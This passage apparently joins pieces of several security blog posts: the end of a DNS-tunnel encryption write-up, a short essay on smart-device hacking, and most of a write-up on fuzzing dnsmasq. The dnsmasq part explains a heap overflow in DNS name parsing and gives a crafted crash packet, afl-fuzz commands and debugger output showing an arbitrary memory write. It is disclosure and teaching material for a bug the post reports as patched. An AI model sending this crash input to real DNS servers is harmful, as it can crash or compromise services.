    Because the nonce is only 16 bits, only 65536 roundtrips can be performed before running out. As such, the client may, at its own discretion (but before running out), initiate a new key exchange. It's identical to the original key exchange, except that it happens in a signed and encrypted packet. After the renegotiation is finished, both the client and server switch their nonce values back to 0 and stop accepting packets with the old keys.

    And... that's about it! Keys are exchanged, an authenticator is sent or a short authentication string is displayed, all messages are signed and encrypted, and that's that!

    Challenges

    A few of the challenges I had to work through...

    • Because DNS has no concept of connections/sessions, I had to expose more information that I wanted in the packets (and because it's extremely length-limited, I had to truncate signatures)
    • I had originally planned to use Curve25519 for the key exchange, but there's no Ruby implementation
    • Finding a C implementation of ECC that doesn't require libcrypto or libssl was really hard
    • Finding a working SHA3 implementation in Ruby was impossible! I filed bugs against the three more popular implementations and one of them actually took the time to fix it!
    • Dealing with DNS's gratuitous retransmissions and accidental drops was super painful and required some hackier code than I like to see in crypto (for example, an old key can still be used, even after a key exchange, until the new one is used successfully; the more secure alternative can't handle a dropped response packet, otherwise both peers would have different keys)

    Shouts out

    I just wanted to do a quick shout out to a few friends who really made this happen by giving me advice, encouragement, or just listening to me complaining.

    So, in alphabetical order so nobody can claim I play favourites, I want to give mad propz to:

    • Alex Weber, who notably convinced me to use a proper key exchange protocol instead of just a static key (and who also wrote the Salsa20 implementation I used
    • Brandon Enright, who give me a ton of handy crypto advice
    • Eric Gershman, who convinced me to work on encryption in the first place, and who listened to my constant complaining about how much I hate implementing crypto

    Hacking SMART services in Cars, Homes, and Medical Devices – a cinch!


    Businesses are reinventing themselves by transforming traditional services and service delivery into digital services. Digital services utilize smart products to provide enhanced service quality, additional features and to collect data that can be used to improve performance. Smart products can be remotely controlled using Wi-Fi or cellular connections, software, sensors that makes smart dumb devices, cloud infrastructure and mobiles.
    Examples of digital products and services are network connected cars, home appliances, surveillance systems, wearables, medical devices, rifles and so on. Very recently ethical hackers exploited a software glitch that allowed them to take control of a Jeep Cherokee while on the road and drive it into a ditch. All this with the hapless driver at the wheel!

    While the car hack made headlines and led to the recall of 1.4 m vehicles, it also signaled the beginning of an era where cyber-attacks or software glitches cause physically harm to cyber citizens, blurring the lines between safety and security. Cyber-attacks in the near future will do a lot more damage than destroy reputations, steal money or spy on intimate moments people would prefer to keep private, it may maim or kill in a targeted or random fashion and that too in the privacy of one’s own home.
    The severity of some of the demonstrated exploits by ethical hackers were downplayed because the attacker required physical access to the vehicle to execute the attack. I for one, do not know what happens to my vehicle while it is serviced or valet parked, both ideal opportunities to fiddle with the electronic systems and even modify the firmware.

    All smart devices will be connected and updatable over wireless networks. Wireless updates are ideal opportunities for hackers to obtain access or control over these devices. However, digital products or services must have built in defenses not only for over the air hacks but equally on risks from technicians, mechanics or others that have physical access to the smart infrastructure.
    Startups with limited budgets may struggle to provide adequate security to their new incubations, allowing ample opportunity for maliciously minded individuals and cyber criminals to find ways to compromise the service. Investment in smart product security will be driven by liabilities around safety regulations, compliance and strict penal provisions.

    How I nearly almost saved the Internet, starring afl-fuzz and dnsmasq

    If you know me, you know that I love DNS. I'm not exactly sure how that happened, but I suspect that Ed Skoudis is at least partly to blame.

    Anyway, a project came up to evaluate dnsmasq, and being a DNS server - and a key piece of Internet infrastructure - I thought it would be fun! And it was! By fuzzing in a somewhat creative way, I found a really cool vulnerability that's almost certainly exploitable (though I haven't proven that for reasons that'll become apparent later).

    Although I started writing an exploit, I didn't finish it. I think it's almost certainly exploitable, so if you have some free time and you want to learn about exploit development, it's worthwhile having a look! Here's a link to the actual distribution of a vulnerable version, and I'll discuss the work I've done so far at the end of this post.

    You can also download my branch, which is similar to the vulnerable version (branched from it), the only difference is that it contains a bunch of fuzzing instrumentation and debug output around parsing names.

    dnsmasq

    For those of you who don't know, dnsmasq is a service that you can run that handles a number of different protocols designed to configure your network: DNS, DHCP, DHCP6, TFTP, and more. We'll focus on DNS - I fuzzed the other interfaces and didn't find anything, though when it comes to fuzzing, absence of evidence isn't the same as evidence of absence.

    It's primarily developed by a single author, Simon Kelley. It's had a reasonably clean history in terms of vulnerabilities, which may be a good thing (it's coded well) or a bad thing (nobody's looking) :)

    At any rate, the author's response was impressive. I made a little timeline:

    • May 12, 2015: Discovered
    • May 14, 2015: Reported to project
    • May 14, 20252015: Project responded with a patch candidate
    • May 15, 2015: Patch committed

    The fix was actually pushed out faster than I reported it! (I didn't report for a couple days because I was trying to determine how exploitable / scary it actually is - it turns out that yes, it's exploitable, but no, it's not scary - we'll get to why at the end).

    DNS - the important bits

    The vulnerability is in the DNS name-parsing code, so it makes sense to spend a little time making sure you're familiar with DNS. If you're already familiar with how DNS packets and names are encoded, you can skip this section.

    Note that I'm only going to cover the parts of DNS that matter to this particular vulnerability, which means I'm going to leave out a bunch of stuff. Check out the RFCs (rfc1035, among others) or Wikipedia for complete details. As a general rule, I encourage everybody to learn enough to manually make requests to DNS servers, because that's an important skill to have - plus, it's only like 16 bytes to remember. :)

    DNS, at its core, is actually rather simple. A client wants to look up a hostname, so it sends a DNS packet containing a question to a DNS server (on UDP port 53, normally, but TCP can be used as well). Some magic happens, involving caches and recursion, then the server replies with a DNS message containing the original question, and zero or more answers.

    DNS packet structure

    The structure of a DNS packet is:

    • (int16) transaction id (trn_id)
    • (int16) flags (which include QR [query/response], opcode, RD [recursion desired], RA [recursion available], and probably other stuff that I'm forgetting)
    • (int16) question count (qdcount)
    • (int16) answer count (ancount)
    • (int16) authority count (nscount)
    • (int16) additional count (arcount)
    • (variable) questions
    • (variable) answers
    • (variable) authorities
    • (variable) additionals

    The last four fields - questions, answers, authorities, and additionals - are collectively called "resource records". Resource records of different types have different properties, but we aren't going to worry about that. The general structure of a question record is:

    • (variable) name (the important part!)
    • (int16) type (A/AAAA/CNAME/etc.)
    • (int16) class (basically always 0x0001, for Internet addresses)

    DNS names

    Questions and answers typically contain a domain name. A domain name, as we typically see it, looks like:

    this.is.a.name.skullseclabs.org

    But in a resource records, there aren't actually any periods, instead, each field is preceded by its length, with a null terminator (or a zero-length field) at the end:

    \x04this\x02is\x01a\x04name\x0cskullseclabs\x03org\x00

    The maximum length of a field is 63 - 0x3f - bytes. If a field starts with 0x40, 0x80, 0xc0, and possibly others, it has a special meaning (we'll get to that shortly).

    Questions and answers

    When you send a question to a DNS server, the packet looks something like:

    • (header)
    • question count = 1
    • question 1: ANY record for skullsecurity.org?

    and the response looks like:

    • (header)
    • question count = 1
    • answer count = 11
    • question 1: ANY record for "skullsecurity.org"?
    • answer 1: "skullsecurity.org" has a TXT record of "oh hai NSA"
    • answer 2: "skullsecurity.org" has a MX record for "ASPMX.L.GOOGLE.com".
    • answer 3: "skullsecurity.org" has a A record for "206.220.196.59"
    • ...

    (yes, those are some of my real records :) )

    If you do the math, you'll see that "skullsecurity.org" takes up 18 bytes, and would be included in the response packet 12 times, counting the question, which means we're effectively wasting 18 * 11 or close to 200 bytes. In the old days, 200 bytes were a lot. Heck, in the new days, 200 bytes are still a lot when you're dealing with millions of requests.

    Record pointers

    Remember how I said that name fields starting with numbers above 63 - 0x3f - are special? Well, the one we're going to pay attention to is 0xc0.

    0xc0 effectively means, "the next byte is a pointer, starting from the first byte of the packet, to where you can find the rest of the name".

    So typically, you'll see:

    • 12-bytes header (trn_id + flags + counts)
    • question 1: ANY record for "skullsecurity.org"
    • answer 1: \xc0\x0c has a TXT record of "oh hai NSA"
    • answer 2: \xc0\x0c ...

    "\xc0" indicates a pointer is coming, and "\x0c" says "look 0x0c (12) bytes from the start of the packet", which is immediately after the header. You can also use it as part of a domain name, so your answer could be "\x03www\xc0\x0c", which would become "www.skullsecurity.org" (assuming that string was 12 bytes from the start).

    This is only mildly relevant, but a common problem that DNS parsers (both clients and servers) have to deal with is the infinite loop attack. Basically, the following packet structure:

    • 12-byte header
    • question 1: ANY record for "\xc0\x0c"

    Because question 1 is self-referential, it reads itself over and over and the name never finishes parsing. dnsmasq solves this by limiting reference to 256 hops - that decision prevents a denial-of-service attack, but it's also what makes this vulnerability likely exploitable. :)

    Setting up the fuzz

    All right, by now we're DNS experts, right? Good, because we're going to be building a DNS packet by hand right away!

    Before we get to the actual vulnerability, I want to talk about how I set up the fuzzing. Being a networked application, it makes sense to use a network fuzzer; however, I really wanted to try out afl-fuzz from lcamtuf, which is a file-format fuzzer.

    afl-fuzz works as an intelligent file-format fuzzer that will instrument the executable (either by specially compiling it or using binary analysis) to determine whether or not it's hitting "new" code on each execution. It optimizes each cycle to take advantage of all the new code paths it's found. It's really quite cool!

    Unfortunately, DNS doesn't use files, it uses packets. But because the client and server each process only one single packet at a time, I decided to modify dnsmasq to read a packet from a file, parse it (either as a request or a response), then exit. That made it possible to fuzz with afl-fuzz.

    Unfortunately, that was actually pretty non-trivial. The parsing code and networking code were all mixed together. I ended up re-implementing "recv_msg()" and "recv_from()", among other things, and replacing their calls to those functions. That could also be done with a LD_PRELOAD hook, but because I had source that wasn't necessary. If you want to see the changes I made to make it possible to fuzz, you can search the codebase for "#ifdef FUZZ" - I made the fuzzing stuff entirely optional.

    If you want to follow along, you should be able to reproduce the crash with the following commands (I'm on 64-bit Linux, but I don't see why it wouldn't work elsewhere):

    $ git clone https://github.com/iagox86/dnsmasq-fuzzing
    Cloning into 'dnsmasq-fuzzing'...
    [...]
    $ cd dnsmasq-fuzzing/
    $ CFLAGS=-DFUZZ make -j10
    [...]
    $ ./src/dnsmasq -d --randomize-port --client-fuzz fuzzing/crashes/client-heap-overflow-1.bin
    dnsmasq: started, version  cachesize 150
    dnsmasq: compile time options: IPv6 GNU-getopt no-DBus no-i18n no-IDN DHCP DHCPv6 no-Lua TFTP no-conntrack ipset auth DNSSEC loop-detect inotify
    dnsmasq: reading /etc/resolv.conf
    [...]
    Segmentation fault
    

    Warning: DNS is recursive, and in my fuzzing modifications I didn't disable the recursive requests. That means that dnsmasq will forward some of your traffic to upstream DNS servers, and that traffic could impact those severs (and I actually proved that, by accident; but we won't get into that :) ).

    Doing the actual fuzzing

    Once you've set up the program to be fuzzable, fuzzing it is actually really easy.

    First, you need a DNS request and response - that way, we can fuzz both sides (though ultimately, we don't need to for this particular vulnerability, since both the request and response parse names).

    If you've wasted your life like I have, you can just write the request by hand and send it to a server, then capture the response:

    $ mkdir -p fuzzing/client/input/
    $ mkdir -p fuzzing/client/output/
    $ echo -ne "\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x06google\x03com\x00\x00\x01\x00\x01" > fuzzing/client/input/request.bin
    $ mkdir -p fuzzing/server/input/
    $ mkdir -p fuzzing/server/output/
    $ cat request.bin | nc -vv -u 8.8.8.8 53 > fuzzing/server/input/response.bin
    

    To break down the packet, in case you're curious

    • "\x12\x34" - trn_id - just a random number
    • "\x01\x00" - flags - I think that flag is RD - recursion desired
    • "\x00\x01" - qdcount = 1
    • "\x00\x00" - ancount = 0
    • "\x00\x00" - nscount = 0
    • "\x00\x00" - arcount = 0
    • "\x06google\x03com\x00" - name = "google.com"
    • "\x00\x01" - type = A record
    • "\x00\x01" - class = IN (Internet)

    You can verify it's working by hexdump'ing the response:

    $ hexdump -C response.bin
    00000000  12 34 81 80 00 01 00 0b  00 00 00 00 06 67 6f 6f  |.4...........goo|
    00000010  67 6c 65 03 63 6f 6d 00  00 01 00 01 c0 0c 00 01  |gle.com.........|
    00000020  00 01 00 00 01 2b 00 04  ad c2 21 67 c0 0c 00 01  |.....+....!g....|
    00000030  00 01 00 00 01 2b 00 04  ad c2 21 66 c0 0c 00 01  |.....+....!f....|
    00000040  00 01 00 00 01 2b 00 04  ad c2 21 69 c0 0c 00 01  |.....+....!i....|
    00000050  00 01 00 00 01 2b 00 04  ad c2 21 68 c0 0c 00 01  |.....+....!h....|
    00000060  00 01 00 00 01 2b 00 04  ad c2 21 63 c0 0c 00 01  |.....+....!c....|
    00000070  00 01 00 00 01 2b 00 04  ad c2 21 61 c0 0c 00 01  |.....+....!a....|
    00000080  00 01 00 00 01 2b 00 04  ad c2 21 6e c0 0c 00 01  |.....+....!n....|
    00000090  00 01 00 00 01 2b 00 04  ad c2 21 64 c0 0c 00 01  |.....+....!d....|
    000000a0  00 01 00 00 01 2b 00 04  ad c2 21 60 c0 0c 00 01  |.....+....!`....|
    000000b0  00 01 00 00 01 2b 00 04  ad c2 21 65 c0 0c 00 01  |.....+....!e....|
    000000c0  00 01 00 00 01 2b 00 04  ad c2 21 62              |.....+....!b|
    

    Notice how it starts with "\x12\x34" (the same transaction id I sent), has a question count of 1, has an answer count of 0x0b (11), and contains "\x06google\x03com\x00" 12 bytes in (that's the question). That's basically what we discussed earlier. But the important part is, it has "\xc0\x0c" throughout. In fact, every answer starts with "\xc0\x0c", because every answer is to the first and only question.

    That's exactly what I was talking about earlier - each of those 11 instances of "\xc0\x0c" saved about 10 bytes, so the packet is 110 bytes shorter than it would otherwise have been.

    Now that we have a base case for both the client and the server, we can compile the binary with afl-fuzz's instrumentation. Obviously, this command assumes that afl-fuzz is stored in "~/tools/afl-1.77b" - change as necessary. If you're trying to compile the original code, it doesn't accept CC= or CFLAGS= on the commandline unless you apply this patch first.

    Here's the compile command:

    $ CC=~/tools/afl-1.77b/afl-gcc CFLAGS=-DFUZZ make -j20
    

    and run the fuzzer:

    $ ~/tools/afl-1.77b/afl-fuzz -i fuzzing/client/input/ -o fuzzing/client/output/ ./dnsmasq --client-fuzz=@@
    

    you can simultaneously fuzz the server, too, in a different window:

    $ ~/tools/afl-1.77b/afl-fuzz -i fuzzing/server/input/ -o fuzzing/server/output/ ./dnsmasq --server-fuzz=@@
    

    then let them run a few hours, or possibly overnight.

    For fun, I ran a third instance:

    $ mkdir -p fuzzing/hello/input
    $ echo "hello" > fuzzing/hello/input/hello.bin
    $ mkdir -p fuzzing/hello/output
    $ ~/tools/afl-1.77b/afl-fuzz -i fuzzing/fun/input/ -o fuzzing/fun/output/ ./dnsmasq --server-fuzz=@@
    

    ...which, in spite of being seeded with "hello" instead of an actual DNS packet, actually found an order of magnitude more crashes than the proper packets, except with much, much uglier proofs of concept.. :)

    Fuzz results

    I let this run overnight, specifically to re-create the crashes for this blog. In the morning (after roughly 20 hours of fuzzing), the results were:

    • 7 crashes starting with a well formed request
    • 10 crashes starting from a well formed response
    • 93 crashes starting from "hello"

    You can download the base cases and results here, if you want.

    Triage

    Although we have over a hundred crashes, I know from experience that they're all caused by the same core problem. But not knowing that, I need to pick something to triage! The difference between starting from a well formed request and starting from a "hello" string is noticeable... to take the smallest PoC from "hello", we have:

    crashes $ hexdump -C id\:000024\,sig\:11\,src\:000234+000399\,op\:splice\,rep\:16
    00000000  68 00 00 00 00 01 00 02  e8 1f ec 13 07 06 e9 01  |h...............|
    00000010  67 02 e8 1f c0 c0 c0 c0  c0 c0 c0 c0 c0 c0 c0 c0  |g...............|
    00000020  c0 c0 c0 c0 c0 c0 c0 c0  c0 c0 c0 c0 c0 c0 c0 c0  |................|
    00000030  c0 c0 c0 c0 c0 c0 c0 c0  c0 c0 b8 c0 c0 c0 c0 c0  |................|
    00000040  c0 c0 c0 c0 c0 c0 c0 c0  c0 c0 c0 c0 c0 c0 c0 c0  |................|
    00000050  c0 c0 c0 c0 c0 c0 c0 c0  c0 af c0 c0 c0 c0 c0 c0  |................|
    00000060  c0 c0 c0 c0 cc 1c 03 10  c0 01 00 00 02 67 02 e8  |.............g..|
    00000070  1f eb ed 07 06 e9 01 67  02 e8 1f 2e 2e 10 2e 2e  |.......g........|
    00000080  00 07 2e 2e 2e 2e 00 07  01 02 07 02 02 02 07 06  |................|
    00000090  00 00 00 00 7e bd 02 e8  1f ec 07 07 01 02 07 02  |....~...........|
    000000a0  02 02 07 06 00 00 00 00  02 64 02 e8 1f ec 07 07  |.........d......|
    000000b0  06 ff 07 9c 06 49 2e 2e  2e 2e 00 07 01 02 07 02  |.....I..........|
    000000c0  02 02 05 05 e7 02 02 02  e8 03 02 02 02 02 80 c0  |................|
    000000d0  c0 c0 c0 c0 c0 c0 c0 c0  c0 80 1c 03 10 80 e6 c0  |................|
    000000e0  c0 c0 c0 c0 c0 c0 c0 c0  c0 c0 c0 c0 c0 c0 c0 c0  |................|
    000000f0  c0 c0 c0 c0 c0 c0 b8 c0  c0 c0 c0 c0 c0 c0 c0 c0  |................|
    00000100  c0 c0 c0 c0 c0 c0 c0 c0  c0 c0 c0 c0 c0 c0 c0 c0  |................|
    00000110  c0 c0 c0 c0 c0 af c0 c0  c0 c0 c0 c0 c0 c0 c0 c0  |................|
    00000120  cc 1c 03 10 c0 01 00 00  02 67 02 e8 1f eb ed 07  |.........g......|
    00000130  00 95 02 02 02 05 e7 02  02 10 02 02 02 02 02 00  |................|
    00000140  00 80 03 02 02 02 f0 7f  c7 00 80 1c 03 10 80 e6  |................|
    00000150  00 95 02 02 02 05 e7 67  02 02 02 02 02 02 02 00  |.......g........|
    00000160  00 80                                             |..|
    

    Or, if we run afl-tmin on it to minimize:

    00000000  30 30 00 30 00 01 30 30  30 30 30 30 30 30 30 30  |00.0..0000000000|
    00000010  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    00000020  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    00000030  30 30 30 30 30 30 30 30  30 30 30 30 30 c0 c0 30  |0000000000000..0|
    00000040  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    00000050  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    00000060  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    00000070  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    00000080  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    00000090  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    000000a0  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    000000b0  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
    000000c0  05 30 30 30 30 30 c0 c0
    

    (note the 0xc0 at the end - our old friend - but instead of figuring out "\xc0\x0c", the simplest case, it found a much more complex case)

    Whereas here are all four crashing messages from the valid request starting point:

    crashes $ hexdump -C id\:000000\,sig\:11\,src\:000034\,op\:flip2\,pos\:24
    00000000  12 34 01 00 00 01 00 00  00 00 00 00 06 67 6f 6f  |.4...........goo|
    00000010  67 6c 65 03 63 6f 6d c0  0c 01 00 01              |gle.com.....|
    0000001c
    
    crashes $ hexdump -C id\:000001\,sig\:11\,src\:000034\,op\:havoc\,rep\:4
    00000000  12 34 08 00 00 01 00 00  e1 00 00 00 06 67 6f 6f  |.4...........goo|
    00000010  67 6c 65 03 63 6f 6d c0  0c 01 00 01              |gle.com.....|
    0000001c
    
    crashes $ hexdump -C id\:000002\,sig\:11\,src\:000034\,op\:havoc\,rep\:2
    00000000  12 34 01 00 eb 00 00 00  00 00 00 00 06 67 6f 6f  |.4...........goo|
    00000010  67 6c 65 03 63 6f 6d c0  0c 01 00 01              |gle.com.....|
    
    crashes $ hexdump -C id\:000003\,sig\:11\,src\:000034\,op\:havoc\,rep\:4
    00000000  12 34 01 00 00 01 01 00  00 00 10 00 06 67 6f 6f  |.4...........goo|
    00000010  67 6c 65 03 63 6f 6d c0  0c 00 00 00 00 00 06 67  |gle.com........g|
    00000020  6f 6f 67 6c 65 03 63 6f  6d c0 00 01 00 01        |oogle.com.....|
    0000002e
    

    The first three crashes are interesting, because they're very similar. The only differences are the flags field (0x0100 or 0x0800) and the count fields (the first is unmodified, the second has 0xe100 "authority" records listed, and the third has 0xeb00 "question" records). Presumably, that stuff doesn't matter, since random-looking values work.

    Also note that near the end of every message, we see our old friend again: "\xc0\x0c".

    We can run afl-tmin on the first one to get the tightest message we can:

    00000000  30 30 30 30 30 30 30 30  30 30 30 30 06 30 6f 30  |000000000000.0o0|
    00000010  30 30 30 03 30 30 30 c0  0c                       |000.000..|
    

    As predicted, the question and answer counts don't matter. All that matters is the name's length fields and the "\xc0\x0c". Oddly it included the "o" from google.com, which is probably a bug (my fuzzing instrumentation isn't perfect because due to requests going to the Internet, the result isn't always deterministic).

    The vulnerability

    Now that we have a decent PoC, let's check it out in a debugger:

    $ gdb -q --args ./dnsmasq -d --randomize-port --client-fuzz=./min.bin
    Reading symbols from ./dnsmasq...done.
    Unable to determine compiler version.
    Skipping loading of libstdc++ pretty-printers for now.
    (gdb) run
    [...]
    Program received signal SIGSEGV, Segmentation fault.
    __strcpy_sse2 () at ../sysdeps/x86_64/multiarch/../strcpy.S:135
    135     ../sysdeps/x86_64/multiarch/../strcpy.S: No such file or directory.
    

    It crashed in strcpy. Fun! Let's see the line it crashed on:

    (gdb) x/i $rip
    => 0x7ffff73cc600 <__strcpy_sse2+192>:  mov    BYTE PTR [rdx],al
    (gdb) print/x $rdx
    $1 = 0x0
    

    Oh, a null-pointer write. Seems pretty lame.

    Honestly, when I got here, I lost steam. Null-pointer dereferences need to be fixed, especially because they can hide other bugs, but they aren't going to earn me l33t status. So I would have to fix it or deal with hundreds of crappy results.

    If we look at the packet in more detail, the name it's parsing is essentially: "\x06AAAAAA\x03AAA\xc0\x0c" (changed '0' to 'A' to make it easier on the eyes). The "\xc0\x0c" construct reference 12 bytes into the message, which is the start of the name. When it's parsed, after one round, it'll be "\x06AAAAAA\x03AAA\x06AAAAAA\x03AAA\xc0\x0c". But then it reaches the "\xc0\x0c" again, and goes back to the beginning. Basically, it infinite loops in the name parser.

    So, it's obvious that a self-referential name causes the problem. But why?

    I tracked down the code that handles 0xc0. It's in rfc1035.c, and looks like:

         if (label_type == 0xc0) /* pointer */
            {
              if (!CHECK_LEN(header, p, plen, 1))
                return 0;
    
              /* get offset */
              l = (l&0x3f) << 8;
              l |= *p++;
    
              if (!p1) /* first jump, save location to go back to */
                p1 = p;
    
              hops++; /* break malicious infinite loops */
              if (hops > 255)
              {
                printf("Too many hops!\n");
                printf("Returning: [%d] %s\n", ((uint64_t)cp) - ((uint64_t)name), name);
                return 0;
              }
    
              p = l + (unsigned char *)header;
            }
    

    If look at that code, everything looks pretty okay (and for what it's worth, the printf()s are my instrumentation and aren't in the original). If that's not the problem, the only other field type being parsed is the name part (ie, the part without 0x40/0xc0/etc. in front). Here's the code (with a bunch of stuff removed and the indents re-flowed):

      namelen += l;
      if (namelen+1 >= MAXDNAME)
      {
        printf("namelen is too long!\n"); /* <-- This is what triggers. */
        printf("Returning: [%d] %s\n", ((uint64_t)cp) - ((uint64_t)name), name);
        return 0;
      }
      if (!CHECK_LEN(header, p, plen, l))
      {
        printf("CHECK_LEN failed!\n");
        return 0;
      }
      for(j=0; j<l; j++, p++)
      {
        unsigned char c = *p;
        if (c != 0 && c != '.')
          *cp++ = c;
        else
          return 0;
      }
      *cp++ = '.';
    

    This code runs for each segment that starts with a value less than 64 ("google" and "com", for example).

    At the start, l is the length of the segment (so 6 in the case of "google"). It adds that to the current TOTAL length - namelen - then checks if it's too long - this is the check that prevents a buffer overflow.

    Then it reads in l bytes, one at a time, and copies them into a buffer - cp - which happens to be on the heap. the namelen check prevents that from overflowing.

    Then it copies a period into the buffer and doesn't increment namelen.

    Do you see the problem there? It adds l to the total length of the buffer, then it reads in l + 1 bytes, counting the period. Oops?

    It turns out, you can mess around with the length and size of substrings quite a bit to get a lot of control over what's written where, but exploiting it is as simple as doing a lookup for "\x08AAAAAAAA\xc0\x0c":

    $ echo -ne '\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x08AAAAAAAA\xc0\x0c\x00\x00\x01\x00\x01' > crash.bin
    $ ./dnsmasq -d --randomize-port --client-fuzz=./crash.bin
    [...]
    Segmentation fault
    

    However, there are two termination conditions: it'll only loop a grand total of 255 times, and it stops after namelen reaches 1024 (non-period) bytes. So coming up with the best possible balance to overwrite what you want is actually pretty tricky - possibly even requires a bit of calculus (or, if you're an engineer, a program that can optimize it for you :) ).

    I should also mention: the reason the "\xc0\x0c" is needed in the first place is that it's impossible to have a name string in that's 1024 bytes - somewhere along the line, it runs afoul of a length check. The "\xc0\x0c" method lets us repeat stuff over and over, sort of like decompressing a small string into memory, overflowing the buffer.

    Exploitability

    I mentioned earlier that it's a null-pointer deref:

    (gdb) x/i $rip
    => 0x7ffff73cc600 <__strcpy_sse2+192>:  mov    BYTE PTR [rdx],al
    (gdb) print/x $rdx
    $1 = 0x0
    

    Let's try again with the crash.bin file we just created, using "\x08AAAAAAAA\xc0\x0c" as the payload:

    $ echo -ne '\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x08AAAAAAAA\xc0\x0c\x00\x00\x01\x00\x01' > crash.bin
    $ gdb -q --args ./dnsmasq -d --randomize-port --client-fuzz=./crash.bin
    [...]
    (gdb) run
    [...]
    (gdb) x/i $rip
    => 0x449998 <answer_request+1064>:      mov    DWORD PTR [rdx+0x20],0x0
    (gdb) print/x $rdx
    $1 = 0x4141412e41414141
    

    Woah.. that's not a null-pointer dereference! That's a write-NUL-byte-to-arbitrary-memory! Those might be exploitable!

    As I mentioned earlier, this is actually a heap overflow. The interesting part is, the heap memory is allocated once - immediately after the program starts - and right after, a heap for the global settings object (daemon) is allocated. That means that we have effectively full control of this object, at least the first couple hundred bytes:

    extern struct daemon {
      /* datastuctures representing the command-line and.
         config file arguments. All set (including defaults)
         in option.c */
    
      unsigned int options, options2;
      struct resolvc default_resolv, *resolv_files;
      time_t last_resolv;
      char *servers_file;
      struct mx_srv_record *mxnames;
      struct naptr *naptr;
      struct txt_record *txt, *rr;
      struct ptr_record *ptr;
      struct host_record *host_records, *host_records_tail;
      struct cname *cnames;
      struct auth_zone *auth_zones;
      struct interface_name *int_names;
      char *mxtarget;
      int addr4_netmask;
      int addr6_netmask;
      char *lease_file;.
      char *username, *groupname, *scriptuser;
      char *luascript;
      char *authserver, *hostmaster;
      struct iname *authinterface;
      struct name_list *secondary_forward_server;
      int group_set, osport;
      char *domain_suffix;
      struct cond_domain *cond_domain, *synth_domains;
      char *runfile;.
      char *lease_change_command;
      struct iname *if_names, *if_addrs, *if_except, *dhcp_except, *auth_peers, *tftp_interfaces;
      struct bogus_addr *bogus_addr, *ignore_addr;
      struct server *servers;
      struct ipsets *ipsets;
      int log_fac; /* log facility */
      char *log_file; /* optional log file */                                                                                                              int max_logs;  /* queue limit */
      int cachesize, ftabsize;
      int port, query_port, min_port;
      unsigned long local_ttl, neg_ttl, max_ttl, min_cache_ttl, max_cache_ttl, auth_ttl;
      struct hostsfile *addn_hosts;
      struct dhcp_context *dhcp, *dhcp6;
      struct ra_interface *ra_interfaces;
      struct dhcp_config *dhcp_conf;
      struct dhcp_opt *dhcp_opts, *dhcp_match, *dhcp_opts6, *dhcp_match6;
      struct dhcp_vendor *dhcp_vendors;
      struct dhcp_mac *dhcp_macs;
      struct dhcp_boot *boot_config;
      struct pxe_service *pxe_services;
      struct tag_if *tag_if;.
      struct addr_list *override_relays;
      struct dhcp_relay *relay4, *relay6;
      int override;
      int enable_pxe;
      int doing_ra, doing_dhcp6;
      struct dhcp_netid_list *dhcp_ignore, *dhcp_ignore_names, *dhcp_gen_names;.
      struct dhcp_netid_list *force_broadcast, *bootp_dynamic;
      struct hostsfile *dhcp_hosts_file, *dhcp_opts_file, *dynamic_dirs;
      int dhcp_max, tftp_max;
      int dhcp_server_port, dhcp_client_port;
      int start_tftp_port, end_tftp_port;.
      unsigned int min_leasetime;
      struct doctor *doctors;
      unsigned short edns_pktsz;
      char *tftp_prefix;.
      struct tftp_prefix *if_prefix; /* per-interface TFTP prefixes */
      unsigned int duid_enterprise, duid_config_len;
      unsigned char *duid_config;
      char *dbus_name;
      unsigned long soa_sn, soa_refresh, soa_retry, soa_expiry;
    #ifdef OPTION6_PREFIX_CLASS.
      struct prefix_class *prefix_classes;
    #endif
    #ifdef HAVE_DNSSEC
      struct ds_config *ds;
      char *timestamp_file;
    #endif
    
      /* globally used stuff for DNS */
      char *packet; /* packet buffer */
      int packet_buff_sz; /* size of above */
      char *namebuff; /* MAXDNAME size buffer */
    #ifdef HAVE_DNSSEC
      char *keyname; /* MAXDNAME size buffer */
      char *workspacename; /* ditto */
    #endif
      unsigned int local_answer, queries_forwarded, auth_answer;
      struct frec *frec_list;
      struct serverfd *sfds;
      struct irec *interfaces;
      struct listener *listeners;
      struct server *last_server;
      time_t forwardtime;
      int forwardcount;
      struct server *srv_save; /* Used for resend on DoD */
      size_t packet_len;       /*      "        "        */
      struct randfd *rfd_save; /*      "        "        */
      pid_t tcp_pids[MAX_PROCS];
      struct randfd randomsocks[RANDOM_SOCKS];
      int v6pktinfo;.
      struct addrlist *interface_addrs; /* list of all addresses/prefix lengths associated with all local interfaces */
      int log_id, log_display_id; /* ids of transactions for logging */
      union mysockaddr *log_source_addr;
    
      /* DHCP state */
      int dhcpfd, helperfd, pxefd;.
    #ifdef HAVE_INOTIFY
      int inotifyfd;
    #endif
    #if defined(HAVE_LINUX_NETWORK)
      int netlinkfd;
    #elif defined(HAVE_BSD_NETWORK)
      int dhcp_raw_fd, dhcp_icmp_fd, routefd;
    #endif
      struct iovec dhcp_packet;
      char *dhcp_buff, *dhcp_buff2, *dhcp_buff3;
      struct ping_result *ping_results;
      FILE *lease_stream;
      struct dhcp_bridge *bridges;
    #ifdef HAVE_DHCP6
      int duid_len;
      unsigned char *duid;
      struct iovec outpacket;
      int dhcp6fd, icmp6fd;
    #endif
      /* DBus stuff */
      /* void * here to avoid depending on dbus headers outside dbus.c */
      void *dbus;
    #ifdef HAVE_DBUS
      struct watch *watches;
    #endif
    
      /* TFTP stuff */
      struct tftp_transfer *tftp_trans, *tftp_done_trans;
    
      /* utility string buffer, hold max sized IP address as string */
      char *addrbuff;
      char *addrbuff2; /* only allocated when OPT_EXTRALOG */
    } *daemon;
    

